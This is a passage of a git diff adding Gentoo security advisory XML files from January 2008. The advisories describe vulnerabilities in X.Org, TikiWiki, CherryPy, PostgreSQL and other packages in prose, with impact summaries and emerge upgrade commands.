+    <li>Multiple functions in the XInput extension do not properly sanitize
+    client requests for swapping bytes, leading to corruption of heap
+    memory (CVE-2007-6427).</li>
+    <li>Integer overflow vulnerabilities in the EVI extension and in the
+    MIT-SHM extension can lead to buffer overflows (CVE-2007-6429).</li>
+    <li>The TOG-CUP extension does not sanitize an index value in the
+    ProcGetReservedColormapEntries() function, leading to arbitrary memory
+    access (CVE-2007-6428).</li>
+    <li>A buffer overflow was discovered in the Xfont library when
+    processing PCF font files (CVE-2008-0006).</li>
+    <li>The X server does not enforce restrictions when a user specifies a
+    security policy file and attempts to open it (CVE-2007-5958).</li>
+    </ul>
+  </description>
+  <impact type="high">
+    <p>
+    Remote attackers could exploit the vulnerability in the Xfont library
+    by enticing a user to load a specially crafted PCF font file resulting
+    in the execution of arbitrary code with the privileges of the user
+    running the X server, typically root. Local attackers could exploit
+    this and the vulnerabilities in the X.org extensions to gain elevated
+    privileges. If the X server allows connections from the network, these
+    vulnerabilities could be exploited remotely. A local attacker could
+    determine the existence of arbitrary files by exploiting the last
+    vulnerability or possibly cause a Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Workarounds for some of the vulnerabilities can be found in the X.Org
+    security advisory as listed under References.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All X.Org X server users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=x11-base/xorg-server-1.3.0.0-r5&quot;</code>
+    <p>
+    All X.Org Xfont library users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=x11-libs/libXfont-1.3.1-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5760">CVE-2007-5760</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5958">CVE-2007-5958</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6427">CVE-2007-6427</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6428">CVE-2007-6428</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6429">CVE-2007-6429</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0006">CVE-2008-0006</uri>
+    <uri link="http://lists.freedesktop.org/archives/xorg/2008-January/031918.html">X.Org security advisory</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Sat, 05 Jan 2008 02:03:56 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 17 Jan 2008 15:57:38 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200801-10.xml b/xml/htdocs/security/en/glsa/glsa-200801-10.xml
new file mode 100644
index 00000000..5bc8066b
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200801-10.xml
@@ -0,0 +1,81 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200801-10">
+  <title>TikiWiki: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been discovered in TikiWiki, some of them
+    having unknown impact.
+  </synopsis>
+  <product type="ebuild">tikiwiki</product>
+  <announced>January 23, 2008</announced>
+  <revised>January 23, 2008: 01</revised>
+  <bug>203265</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/tikiwiki" auto="yes" arch="*">
+      <unaffected range="ge">1.9.9</unaffected>
+      <vulnerable range="lt">1.9.9</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    TikiWiki is an open source content management system written in PHP.
+    </p>
+  </background>
+  <description>
+    <ul><li>Jesus Olmos Gonzalez from isecauditors reported insufficient
+    sanitization of the "movies" parameter in file tiki-listmovies.php
+    (CVE-2007-6528).</li>
+    <li>Mesut Timur from H-Labs discovered that the
+    input passed to the "area_name" parameter in file
+    tiki-special_chars.php is not properly sanitised before being returned
+    to the user (CVE-2007-6526).</li>
+    <li>redflo reported multiple
+    unspecified vulnerabilities in files tiki-edit_css.php,
+    tiki-list_games.php, and tiki-g-admin_shared_source.php
+    (CVE-2007-6529).</li>
+    </ul>
+  </description>
+  <impact type="low">
+    <p>
+    A remote attacker can craft the "movies" parameter to run a directory
+    traversal attack through a ".." sequence and read the first 1000 bytes
+    of any arbitrary file, or conduct a cross-site scripting (XSS) attack
+    through the "area_name" parameter. This attack can be exploited to
+    execute arbitrary HTML and script code in a user's browser session,
+    allowing for the theft of browser session data or cookies in the
+    context of the affected web site. The impacts of the unspecified
+    vulnerabilities are still unknown.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All TikiWiki users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/tikiwiki-1.9.9&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6526">CVE-2007-6526</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6528">CVE-2007-6528</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6529">CVE-2007-6529</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 20 Jan 2008 18:58:53 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 20 Jan 2008 21:50:20 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 20 Jan 2008 22:40:20 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200801-11.xml b/xml/htdocs/security/en/glsa/glsa-200801-11.xml
new file mode 100644
index 00000000..abfd4361
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200801-11.xml
@@ -0,0 +1,76 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200801-11">
+  <title>CherryPy: Directory traversal vulnerability</title>
+  <synopsis>
+    CherryPy is vulnerable to a directory traversal that could allow attackers
+    to read and write arbitrary files.
+  </synopsis>
+  <product type="ebuild">cherrypy</product>
+  <announced>January 27, 2008</announced>
+  <revised>January 27, 2008: 01</revised>
+  <bug>204829</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-python/cherrypy" auto="yes" arch="*">
+      <unaffected range="rge">2.2.1-r2</unaffected>
+      <unaffected range="ge">3.0.2-r1</unaffected>
+      <vulnerable range="lt">3.0.2-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    CherryPy is a Python-based, object-oriented web development framework.
+    </p>
+  </background>
+  <description>
+    <p>
+    CherryPy does not sanitize the session id, provided as a cookie value,
+    in the FileSession._get_file_path() function before using it as part of
+    the file name.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could exploit this vulnerability to read and possibly
+    write arbitrary files on the web server, or to hijack valid sessions,
+    by providing a specially crafted session id. This only affects
+    applications using file-based sessions.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Disable the "FileSession" functionality by using "PostgresqlSession" or
+    "RamSession" session management in your CherryPy application.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All CherryPy 2.2 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-python/cherrypy-2.2.1-r2&quot;</code>
+    <p>
+    All CherryPy 3.0 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-python/cherrypy-3.0.2-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0252">CVE-2008-0252</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 10 Jan 2008 20:11:50 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 20 Jan 2008 02:16:18 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 26 Jan 2008 19:16:48 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200801-12.xml b/xml/htdocs/security/en/glsa/glsa-200801-12.xml
new file mode 100644
index 00000000..d98124e9
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200801-12.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200801-12">
+  <title>xine-lib: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    xine-lib is vulnerable to multiple heap-based buffer overflows when
+    processing RTSP streams.
+  </synopsis>
+  <product type="ebuild">xine-lib</product>
+  <announced>January 27, 2008</announced>
+  <revised>January 27, 2008: 01</revised>
+  <bug>205197</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/xine-lib" auto="yes" arch="*">
+      <unaffected range="ge">1.1.9.1</unaffected>
+      <vulnerable range="lt">1.1.9.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    xine-lib is the core library package for the xine media player.
+    </p>
+  </background>
+  <description>
+    <p>
+    Luigi Auriemma reported that xine-lib does not properly check
+    boundaries when processing SDP attributes of RTSP streams, leading to
+    heap-based buffer overflows.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could entice a user to play specially crafted RTSP video
+    streams with a player using xine-lib, potentially resulting in the
+    execution of arbitrary code with the privileges of the user running the
+    player.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All xine-lib users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/xine-lib-1.1.9.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0225">CVE-2008-0225</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0238">CVE-2008-0238</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 16 Jan 2008 19:08:20 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 20 Jan 2008 01:56:19 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 26 Jan 2008 21:39:28 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200801-13.xml b/xml/htdocs/security/en/glsa/glsa-200801-13.xml
new file mode 100644
index 00000000..7e28d3a9
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200801-13.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200801-13">
+  <title>ngIRCd: Denial of Service</title>
+  <synopsis>
+    ngIRCd does not properly sanitize commands sent by users, allowing for a
+    Denial of Service.
+  </synopsis>
+  <product type="ebuild">ngircd</product>
+  <announced>January 27, 2008</announced>
+  <revised>January 27, 2008: 02</revised>
+  <bug>204834</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-irc/ngircd" auto="yes" arch="*">
+      <unaffected range="ge">0.10.4</unaffected>
+      <vulnerable range="lt">0.10.4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    ngIRCd is a free open source daemon for Internet Relay Chat (IRC).
+    </p>
+  </background>
+  <description>
+    <p>
+    The IRC_PART() function in the file irc-channel.c does not properly
+    check the number of parameters, referencing an invalid pointer if no
+    channel is supplied.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker can exploit this vulnerability to crash the ngIRCd
+    daemon.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All ngIRCd users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-irc/ngircd-0.10.4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0285">CVE-2008-0285</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 15 Jan 2008 20:42:37 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 20 Jan 2008 01:06:19 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 20 Jan 2008 01:44:35 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200801-14.xml b/xml/htdocs/security/en/glsa/glsa-200801-14.xml
new file mode 100644
index 00000000..9fd470f2
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200801-14.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200801-14">
+  <title>Blam: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    Blam doesn't properly handle environment variables, potentially allowing a
+    local attacker to execute arbitrary code.
+  </synopsis>
+  <product type="ebuild">blam</product>
+  <announced>January 27, 2008</announced>
+  <revised>January 27, 2008: 01</revised>
+  <bug>199841</bug>
+  <access>local</access>
+  <affected>
+    <package name="net-news/blam" auto="yes" arch="*">
+      <unaffected range="ge">1.8.4</unaffected>
+      <vulnerable range="lt">1.8.4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Blam is an RSS and Atom feed reader for GNOME written in C#.
+    </p>
+  </background>
+  <description>
+    <p>
+    The "/usr/bin/blam" script sets the "LD_LIBRARY_PATH" environment
+    variable incorrectly, which might result in the current working
+    directory (.) being included when searching for dynamically linked
+    libraries of the Mono Runtime application.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could entice a user to run Blam in a directory
+    containing a specially crafted library file which could result in the
+    execution of arbitrary code with the privileges of the user running
+    Blam.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Do not run Blam from an untrusted working directory.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Blam users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-news/blam-1.8.4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4790">CVE-2005-4790</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Sun, 20 Jan 2008 00:54:46 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 20 Jan 2008 00:55:57 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200801-15.xml b/xml/htdocs/security/en/glsa/glsa-200801-15.xml
new file mode 100644
index 00000000..bc74daa7
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200801-15.xml
@@ -0,0 +1,84 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200801-15">
+  <title>PostgreSQL: Multiple vulnerabilities</title>
+  <synopsis>
+    PostgreSQL contains multiple vulnerabilities that could result in privilege
+    escalation or a Denial of Service.
+  </synopsis>
+  <product type="ebuild">postgresql</product>
+  <announced>January 29, 2008</announced>
+  <revised>January 29, 2008: 01</revised>
+  <bug>204760</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-db/postgresql" auto="yes" arch="*">
+      <unaffected range="ge">8.0.15</unaffected>
+      <unaffected range="rge">7.4.19</unaffected>
+      <unaffected range="rge">7.3.21</unaffected>
+      <vulnerable range="lt">8.0.15</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    PostgreSQL is an open source object-relational database management
+    system.
+    </p>
+  </background>
+  <description>
+    <p>
+    If using the "expression indexes" feature, PostgreSQL executes index
+    functions as the superuser during VACUUM and ANALYZE instead of the
+    table owner, and allows SET ROLE and SET SESSION AUTHORIZATION in the
+    index functions (CVE-2007-6600). Additionally, several errors involving
+    regular expressions were found (CVE-2007-4769, CVE-2007-4772,
+    CVE-2007-6067). Eventually, a privilege escalation vulnerability via
+    unspecified vectors in the DBLink module was reported (CVE-2007-6601).
+    This vulnerability is exploitable when local trust or ident
+    authentication is used, and is due to an incomplete fix of
+    CVE-2007-3278.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote authenticated attacker could send specially crafted queries
+    containing complex regular expressions to the server that could result
+    in a Denial of Service by a server crash (CVE-2007-4769), an infinite
+    loop (CVE-2007-4772) or a memory exhaustion (CVE-2007-6067). The two
+    other vulnerabilities can be exploited to gain additional privileges.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround for all these issues at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All PostgreSQL users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;dev-db/postgresql&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3278">CVE-2007-3278</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4769">CVE-2007-4769</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4772">CVE-2007-4772</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6067">CVE-2007-6067</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6600">CVE-2007-6600</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6601">CVE-2007-6601</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 20 Jan 2008 00:00:08 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 20 Jan 2008 00:56:13 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 20 Jan 2008 22:38:13 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200801-16.xml b/xml/htdocs/security/en/glsa/glsa-200801-16.xml
new file mode 100644
index 00000000..a985dc9a
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200801-16.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200801-16">
+  <title>MaraDNS: CNAME Denial of Service</title>
+  <synopsis>
+    MaraDNS is prone to a Denial of Service vulnerability impacting CNAME
+    resolution.
+  </synopsis>
+  <product type="ebuild">maradns</product>
+  <announced>January 29, 2008</announced>
+  <revised>January 29, 2008: 01</revised>
+  <bug>204351</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-dns/maradns" auto="yes" arch="*">
+      <unaffected range="ge">1.2.12.08</unaffected>
+      <vulnerable range="lt">1.2.12.08</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    MaraDNS is a package that implements the Domain Name Service (DNS) with
+    resolver and caching ability.
+    </p>
+  </background>
+  <description>
+    <p>
+    Michael Krieger reported that a specially crafted DNS could prevent an
+    authoritative canonical name (CNAME) record from being resolved because
+    of an "improper rotation of resource records".
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could send specially crafted DNS packets to a
+    vulnerable server, making it unable to resolve CNAME records.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Add "max_ar_chain = 2" to the "marac" configuration file.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All MaraDNS users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-dns/maradns-1.2.12.09&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0061">CVE-2008-0061</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 27 Jan 2008 19:19:02 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 28 Jan 2008 17:41:20 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 28 Jan 2008 18:03:45 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200801-17.xml b/xml/htdocs/security/en/glsa/glsa-200801-17.xml
new file mode 100644
index 00000000..aac19bd2
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200801-17.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200801-17">
+  <title>Netkit FTP Server: Denial of Service</title>
+  <synopsis>
+    Netkit FTP Server contains a Denial of Service vulnerability.
+  </synopsis>
+  <product type="ebuild">netkit-ftpd</product>
+  <announced>January 29, 2008</announced>
+  <revised>January 29, 2008: 01</revised>
+  <bug>199206</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-ftp/netkit-ftpd" auto="yes" arch="*">
+      <unaffected range="ge">0.17-r7</unaffected>
+      <vulnerable range="lt">0.17-r7</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    net-ftp/netkit-ftpd is the Linux Netkit FTP server with optional SSL
+    support.
+    </p>
+  </background>
+  <description>
+    <p>
+    Venustech AD-LAB discovered that an FTP client connected to a
+    vulnerable server with passive mode and SSL support can trigger an
+    fclose() function call on an uninitialized stream in ftpd.c.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker can send specially crafted FTP data to a server with
+    passive mode and SSL support, causing the ftpd daemon to crash.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Disable passive mode or SSL.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Netkit FTP Server users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-ftp/netkit-ftpd-0.17-r7&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6263">CVE-2007-6263</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 27 Jan 2008 19:17:40 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 28 Jan 2008 18:03:07 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 28 Jan 2008 18:03:42 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200801-18.xml b/xml/htdocs/security/en/glsa/glsa-200801-18.xml
new file mode 100644
index 00000000..024cbc22
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200801-18.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200801-18">
+  <title>Kazehakase: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities in Kazehakase could result in the execution of
+    arbitrary code.
+  </synopsis>
+  <product type="ebuild">kazehakase</product>
+  <announced>January 30, 2008</announced>
+  <revised>January 30, 2008: 01</revised>
+  <bug>198983</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-client/kazehakase" auto="yes" arch="*">
+      <unaffected range="ge">0.5.0</unaffected>
+      <vulnerable range="lt">0.5.0</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Kazehakase is a web browser based on the Gecko engine.
+    </p>
+  </background>
+  <description>
+    <p>
+    Kazehakase includes a copy of PCRE which is vulnerable to multiple
+    buffer overflows and memory corruptions vulnerabilities (GLSA
+    200711-30).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open specially crafted input
+    (e.g bookmarks) with Kazehakase, which could possibly lead to the
+    execution of arbitrary code, a Denial of Service or the disclosure of
+    sensitive information.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Kazehakase users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/kazehakase-0.5.0&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200711-30.xml">GLSA-200711-30</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 06 Jan 2008 23:02:26 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 29 Jan 2008 19:33:56 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 29 Jan 2008 19:34:04 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200801-19.xml b/xml/htdocs/security/en/glsa/glsa-200801-19.xml
new file mode 100644
index 00000000..75ff7075
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200801-19.xml
@@ -0,0 +1,74 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200801-19">
+  <title>GOffice: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities in GOffice could result in the execution of
+    arbitrary code.
+  </synopsis>
+  <product type="ebuild">goffice</product>
+  <announced>January 30, 2008</announced>
+  <revised>January 30, 2008: 01</revised>
+  <bug>198385</bug>
+  <access>remote</access>
+  <affected>
+    <package name="x11-libs/goffice" auto="yes" arch="*">
+      <unaffected range="ge">0.6.1</unaffected>
+      <unaffected range="rge">0.4.3</unaffected>
+      <vulnerable range="lt">0.6.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    GOffice is a library of document-centric objects and utilities based on
+    GTK.
+    </p>
+  </background>
+  <description>
+    <p>
+    GOffice includes a copy of PCRE which is vulnerable to multiple buffer
+    overflows and memory corruptions vulnerabilities (GLSA 200711-30).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could entice a user to open specially crafted documents
+    with GOffice, which could possibly lead to the execution of arbitrary
+    code, a Denial of Service or the disclosure of sensitive information.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All GOffice 0.4.x users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=x11-libs/goffice-0.4.3&quot;</code>
+    <p>
+    All GOffice 0.6.x users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=x11-libs/goffice-0.6.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200711-30.xml">GLSA-200711-30</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 10 Jan 2008 19:49:11 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 29 Jan 2008 19:42:53 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 29 Jan 2008 19:43:29 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200801-20.xml b/xml/htdocs/security/en/glsa/glsa-200801-20.xml
new file mode 100644
index 00000000..7923a4aa
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200801-20.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
